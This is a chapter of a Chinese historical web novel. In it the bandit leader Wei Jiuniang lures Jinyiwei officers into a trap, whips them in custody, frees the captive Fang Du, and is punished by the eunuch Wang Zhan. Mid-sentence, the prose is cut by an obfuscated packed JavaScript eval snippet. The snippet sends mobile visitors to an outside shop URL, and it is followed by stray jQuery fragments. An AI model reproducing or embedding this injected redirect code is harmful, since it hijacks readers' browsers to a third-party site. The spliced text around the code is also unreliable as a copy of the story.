午后,魏九娘换了常穿的白袍,正要出门。
十娘拦住她问:“你要去哪儿,用钱不用?”
魏九娘理袖口说:“不用。今晚有事,提前巡山去。”
十娘又道:“多带些人吧。”
魏九娘笑说:“也不用。你忙你的吧,莫操心这些。这几日你也辛苦。”
她说完便走,今日连霜会也没带。不但如此,半个时辰后,还将山上各处布防的人撤了大半。
按理说越是闹麻烦的时候,防范该越严啊。
正当大家都看不懂的时候,鹞子一身深黑棉袍披头散发地骑马回来了。他那头发全湿透了,黑袍一脱,露出里头一身囚服,气喘吁吁地朝魏九娘道:“成了……大当家,成了!”
“什么成了呀?”霜会好奇,也跟过来问。
鹞子跑得力竭,腿都软了,被霜会扶住条胳膊才站稳,“锦衣卫……捉回来了。”
今早鹞子拿了方度的囚服,魏九娘就叫他偷偷扮成方度下了山,另一边安排温烟水在军营附近小范围散布方度逃跑的消息。
近来锦衣卫为了等斥候的情报,经常就在军营附近徘徊,那消息一听一个准。
要是能帮朝廷捉回方度,功劳可比随便抓几个小兵通倭大得多。
如此大利引诱之下,锦衣卫全队出动,循着黄龙山放出的假消息一路追到了鹞子躲藏的山林,直到被鹞子引到黄龙山附近。今日被魏九娘撤下来的布防人员就在山下守株待兔,待锦衣卫过来,抓了个正着。而鹞子也顺势跳进小溪,先沿溪水游到山下,套身衣裳、骑上马,再稳妥地跑回山。
黄昏时,思过堂。
十五名锦衣卫被捆住手脚,人挨人地缩在屋角,望着魏九娘又气又怕,有的都发起抖。
魏九娘生得就是一般女子身形,虽然习武,身子结实些,但不胖不瘦,单论块头,可比这些层层角力选拔出的锦衣卫差远了。但就是这样一个乍一粗看不显山不露水的姑娘,冷脸往那儿一坐,竟有种生人勿近的骇人气质。
她将鞭子放桌上,让人将晚上的吃食端到这儿来。她就在这儿吃,边吃还边喝酒,一炷香的工夫都没同那些锦衣卫说一句话。
那些锦衣卫素来只有仗着自己身份审问别人的份,还没被人审过。一瞧见这架势,有两个贪生怕死的都吓尿了。
屋里骚气逼人,魏九娘也吃不下去了,筷子一撂,边净手边说:“方度是朝廷交到我黄龙山的人。人丢了,自然也是我黄龙山去找。原本人都快捉到了,结果叫你们一搅和,人又跑了,现在还找不到呢。要是明早王公公过来前都没找到,这笔账该怎么算呢?”
一锦衣卫道:“方度……是……在你们黄龙山丢的,自然先问责你们……我们也是好心……”
魏九娘起身,拎着鞭子过去。
那锦衣卫闭上眼,一个劲往角落里缩,“不关我的事啊,不关我的事。要打打他!”他用下巴指着旁边的同僚,“是他的主意。”
那同僚也慌了,又指另一人,“不是我不是我,是他!”
魏九娘背着手,看他们互相推责,忽然笑了,“各位是官,我是匪。我也不好为难你们。不如你们替我想个交差的办法吧。”
“女侠!要么这样。”刚刚尿裤子的一位说,“兄弟们前阵子立了个大功,分你们黄龙山一半,到时候将功补过,朝廷怪不到我们,也怪不到你们啊。”
“什么大功,说来听听。”
“方洵通倭啊。朝廷让你们看押方度的时候,难道没跟你说?人已经到京城了,上头正找证据呢。估摸没多久就……”
魏九娘捏住了那人下巴,力道大得仿佛能磨肌碎骨,“我知道怎样?不知道又怎样?还找着证据,你们就将人给抓了,这话搁谁敢信呢?”
那人被捏得生疼,边哭边道:“千真万确啊女侠!这种事只能先斩后奏,要等查清楚了兄弟们就没有头功了,而且事关通倭,宁可错杀,不可放过啊。”
“啊!”
重重一巴掌扇在他脸上,那人痛得一个字也说不出了。
“既然各位不是诚心合作,那我也没什么好谈的了。”
魏九娘的鞭子甩过来,思过堂内哀嚎一片。且她一鞭比一鞭狠,全打的不致命的地方,皮开肉绽但又不伤筋骨,让人求生不得,求死不能。
黄龙山其他人就在外头听着,年辈子也没见魏九娘下这么狠的手。那鞭声犹如雷电,恨不得每一鞭都天崩地裂似的。
这样一打半个时辰,就是寻常练武也受不住。十娘跑到外头劝:“大当家。歇会吧。莫因为几个小人累着自己。”
魏九娘确实也打累了,这会前心后背都是汗。但她将门窗关紧,到桌旁喝一口酒,还是继续打。
她想到方度说“国有蠹虫”。
想到他说“自己人打自己人”。
想到他说“国不为国,家不为家”。
想到六娘七娘和爹爹。
她在栾安这么多年,知道得不能再清楚,有多少场败仗,多少条人命,最后都该算在这些汉奸狗贼的头上。朝廷花重金才养了几条凶犬,最后不知道咬敌人,全去咬自己人了。反倒是同她一样抗敌多年,苦守前线的兄弟姐妹们死的死伤的伤,到最后连一纸招安令都要用人命来换。
天理何在?王法何在?人间正道,又在何方?
……
方度又做了挺长一个梦,梦见害他爹爹的歹人下狱挨了打。
梦醒时人在陌生客栈,身边是佟文举和家仆们。
方度想起身,但碍于服了迷药,此刻只觉头痛欲裂,晕晕乎乎。
佟文举扶他坐起来,“无虞,你瞧瞧这是谁?”
方度往佟文举身后看,瞧见方府的管家刘志。
刘志自方度出生便在府上做事,如今二十余载,已是个土埋半截的人。方度记得爹爹刚出事时,刘志头发还是黑白相间。月余不见,青丝已全变华发了。
“刘叔。你怎么到这儿来了?”方度还恍惚着,忽然被一个温暖的怀抱拥过去。
刘志带着哭腔道:“一听说佟老要来救公子,奴便想法子跟来了。但奴这一路行进不便,昨日才寻到你们。奴来晚了,让公子受委屈。”
方度松开他,定了定神。刘志腿上有旧伤,行路慢,行山路更慢。栾安这么难走的地方,刘志都跟过来了,这是过去多久了……
“这是哪儿了?”方度掀开被子,欲下床,“这不是黄龙山,这是哪儿了?”
一屋子人都以为方度魔怔了,刘志更是紧抱着他不放,“公子莫吓老奴了。咱们好不容易逃出来了,黄龙山那鬼地方吓死人,这辈子千万莫去第二回了。”
“不成!”方度挣开他,自己站起来,奈何昏睡太久,一时没站稳,一个马趴跌在床边,“我得回黄龙山去。你们这回将我带出来,跟魏九娘打过招呼没有?”
佟文举道:“无虞,不是我们带你出来的。是那魏九娘将咱们放出来的。”
“不可能。我还有事情没同她说清楚呢。她怎么可能放我走?”方度扶床又起来,胸口闷得难受,眼前也黑了一瞬,视野再亮时,只觉天旋地转。
“是被放走的。”佟文举还同他解释,“那女匪还算有些江湖义气在,知道你爹爹的事有隐情,便将咱们都放了。是她的人赶马车将你送过来的。马车上那个温烟水,她说你知道。”
方度点点头。是知道的。
他渐渐想清楚了。原来那个辰时三刻,十里长亭,是魏九娘一早安排好要送他走的。
怪只怪他身子不争气,怎么偏偏在她马上睡着了?
方度披上大氅就往外走,边走边探了探头上那根柳木簪。万幸这簪子还在。若这也不在了,他怕自己真分不清是现实还是梦了。
“公子,这身子还虚着,你上哪儿去啊?”刘志紧追不舍。
“找那个温烟水去。”
她不是说有难处可以找温烟水么?
他要回黄龙山,这算不算天大的难处?
……
魏九娘一直在思过堂待到温烟水的信送来。
信来了,她便不打人了,而是急匆匆看信去了。
信上说,方度已经被佟文举送出栾安县,今夜应该就能在宛南县的客栈落脚。
客栈是魏九娘提前挑好的地方,地处闹市偏僻角,环境雅致,舒适宜人,适合养病。而且还有一点,两地离得不算近,还隔了一座山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707334|207489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。白日走官道绕路要走一整天,要是想再快便只能翻山。那山路崎岖不好走,普通的马都望而却步,更何况人。
方度又是个病秧子,就算醒了想往回赶,也绝对赶不上明日王湛过来。
次日一早王湛带着两个干儿子上黄龙山来。
魏九娘没打算瞒,开门见山地道:“黄龙山看管不力,让方度给跑了。”
“跑了?”王湛坐在太师椅上,眼里写满了算计。他早认定魏九娘是个聪明人,不可能就这样让人跑了的,“跑了就去抓回来啊。栾安这地界儿还有你魏九娘伸手够不到的地方?”
“本来是要抓的,谁知道被锦衣卫搅黄了。”魏九娘将昨日锦衣卫如何抓“方度”,“方度”又是怎么逃跑的,一五一十都说给王湛听。
王湛听着听着,眼睛忽然又亮起来了。
要知道皇上自登基以来,就等着找机会查办锦衣卫呢。也只有锦衣卫被查办了,他们这些同在皇上身边办事的阉人才有出头之日。
“是老冤家啊。啧啧。”
王湛跟着魏九娘到思过堂来看,假惺惺地怪道:“魏九娘啊,你怎么将人打成这样了?”
“昨日一时心急,下手没轻重,就……”魏九娘解释一半。
王湛的手已经抬起来,“做匪做惯了嘛,倒也有情可原。看来这招安令确实还和你没缘分啊。好好学学官场上的规矩,下回有招安的机会,再想着争取吧。”
他那话没说魏九娘的好,但也没责备的意思,这就算默许了。
就算他心里再高兴锦衣卫捅了娄子,同侍一主,还能明面上说人家的不是吗?非但如此,还要给镇抚司那头一个台阶下,这样再给他们定罪的时候,皇上才不至于难堪。
王湛道:“这事咱家会如实同皇上讲。既是锦衣卫插了手,你们抓不到人也正常。焉知方度跑走是不是锦衣卫一手操办的呢?不过这事放一边,你给人打成这样也太有点过分了。来人啊,给魏九娘拉出去,打二十大板教教规矩。”
打了魏九娘的人,就算王湛给锦衣卫面子了。好在此番只罚魏九娘一个人,没罚山上其他人。
魏九娘知道,这已经是不幸中的大幸。她早料到必有一罚,这会也没什么怨言,趴到外头的长凳上就等着受罚。
王湛的两个干儿子没带打人的家伙来,满山遍野地找木棍。但黄龙山上,谁想给人木棍打自己的大当家?大家都是能拖再拖,最后搞得魏九娘趴在长凳上,脸朝黄土地,等得脑子里都开始跑马灯了。
王湛这边应付完了,她便开始想着下回见面怎么同方度解释今日骗他之事了。
下回见面是什么时候呢?
魏九娘第一次觉得“下回”这个词如此遥远。
方度没法帮她换招安令了,应该就能乖乖去查他爹爹的案子了吧。查案虽然不轻松,但他脑子聪明,身边帮衬的人又多,算上安稳养病的时间,半年应当也够了。
下回再听到他消息,会是他拿到证明方老将军清白的证据,准备北上返京了吗?待他返京的时候,身子能比这会好一点吗?
魏九娘想着想着,高儿子和矮儿子扛了两根现砍的木棍回来了,木棍足一人大腿粗,这样的木棍砸一下,都够普通人疼得吱哇乱叫,魏九娘却要挨二十下。
好在她内功深厚,并不多惧,提前提好了气,闭上眼睛,就等着那木棍下来。
不料就此时,身后忽然传来马蹄声。
“报!出事了!出大事了!”
有人骑马上山来。魏九娘回头,见那人直冲王湛而去,还戴着腰牌,应当是他手下的探子。
“方度!方度就在山底下!找到了!找到了!”
探子疯了似的邀着功,扯着嗓子喊。连同高儿子、矮儿子在内,王湛手下所有人一概都往山下跑。黄龙山的人希望大当家能得救,也往山下跑。
乌泱泱一群人冲向山下,比过年杀猪还喜庆。
魏九娘心提到嗓子眼,愣了好半天,才跟着等她的十娘慢慢走过去。
远远的,人群裂开一道缝。高儿子自缝中拖出一人来,月白色布衣,头戴柳木簪,昨日是被她好好的送上马车的。
可这会怎么浑身带血地回来了?